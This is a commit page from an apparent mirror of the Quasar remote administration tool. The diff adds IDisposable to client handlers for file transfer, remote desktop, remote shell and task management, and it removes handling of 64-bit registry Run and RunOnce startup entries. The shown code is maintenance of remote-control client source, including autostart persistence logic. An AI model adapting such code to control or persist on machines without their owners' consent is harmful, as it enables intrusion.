mirror of https://github.com/quasar/Quasar.git
Add missing IDisposable interface to client message processors
This commit is contained in:
parent
b26e1639ea
commit
5820dfa6b3
|
@ -16,7 +16,7 @@
|
|||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class FileManagerHandler : IMessageProcessor
|
||||
public class FileManagerHandler : IMessageProcessor, IDisposable
|
||||
{
|
||||
private readonly ConcurrentDictionary<int, FileSplit> _activeTransfers = new ConcurrentDictionary<int, FileSplit>();
|
||||
private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class RemoteDesktopHandler : IMessageProcessor
|
||||
public class RemoteDesktopHandler : IMessageProcessor, IDisposable
|
||||
{
|
||||
private UnsafeStreamCodec _streamCodec;
|
||||
|
||||
|
|
|
@ -9,7 +9,7 @@ namespace Quasar.Client.Messages
|
|||
/// <summary>
|
||||
/// Handles messages for the interaction with the remote shell.
|
||||
/// </summary>
|
||||
public class RemoteShellHandler : IMessageProcessor
|
||||
public class RemoteShellHandler : IMessageProcessor, IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// The current remote shell instance.
|
||||
|
|
|
@ -86,35 +86,6 @@ private void Execute(ISender client, GetStartupItems message)
|
|||
}
|
||||
}
|
||||
}
|
||||
if (PlatformHelper.Is64Bit)
|
||||
{
|
||||
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
foreach (var item in key.GetKeyValues())
|
||||
{
|
||||
startupItems.Add(new Common.Models.StartupItem
|
||||
{ Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineWoW64Run });
|
||||
}
|
||||
}
|
||||
}
|
||||
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
foreach (var item in key.GetKeyValues())
|
||||
{
|
||||
startupItems.Add(new Common.Models.StartupItem
|
||||
{
|
||||
Name = item.Item1,
|
||||
Path = item.Item2,
|
||||
Type = StartupType.LocalMachineWoW64RunOnce
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
|
||||
{
|
||||
var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles();
|
||||
|
@ -165,26 +136,6 @@ private void Execute(ISender client, DoStartupItemAdd message)
|
|||
throw new Exception("Could not add value");
|
||||
}
|
||||
break;
|
||||
case StartupType.LocalMachineWoW64Run:
|
||||
if (!PlatformHelper.Is64Bit)
|
||||
throw new NotSupportedException("Only on 64-bit systems supported");
|
||||
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
|
||||
{
|
||||
throw new Exception("Could not add value");
|
||||
}
|
||||
break;
|
||||
case StartupType.LocalMachineWoW64RunOnce:
|
||||
if (!PlatformHelper.Is64Bit)
|
||||
throw new NotSupportedException("Only on 64-bit systems supported");
|
||||
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
|
||||
{
|
||||
throw new Exception("Could not add value");
|
||||
}
|
||||
break;
|
||||
case StartupType.StartMenu:
|
||||
if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
|
||||
{
|
||||
|
@ -245,26 +196,6 @@ private void Execute(ISender client, DoStartupItemRemove message)
|
|||
throw new Exception("Could not remove value");
|
||||
}
|
||||
break;
|
||||
case StartupType.LocalMachineWoW64Run:
|
||||
if (!PlatformHelper.Is64Bit)
|
||||
throw new NotSupportedException("Only on 64-bit systems supported");
|
||||
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
|
||||
{
|
||||
throw new Exception("Could not remove value");
|
||||
}
|
||||
break;
|
||||
case StartupType.LocalMachineWoW64RunOnce:
|
||||
if (!PlatformHelper.Is64Bit)
|
||||
throw new NotSupportedException("Only on 64-bit systems supported");
|
||||
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
|
||||
{
|
||||
throw new Exception("Could not remove value");
|
||||
}
|
||||
break;
|
||||
case StartupType.StartMenu:
|
||||
string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name);
|
||||
|
||||
|
|
|
@ -16,7 +16,7 @@ namespace Quasar.Client.Messages
|
|||
/// <summary>
|
||||
/// Handles messages for the interaction with tasks.
|
||||
/// </summary>
|
||||
public class TaskManagerHandler : IMessageProcessor
|
||||
public class TaskManagerHandler : IMessageProcessor, IDisposable
|
||||
{
|
||||
private readonly QuasarClient _client;
|
||||
|
||||
|
|
Loading…
Reference in New Issue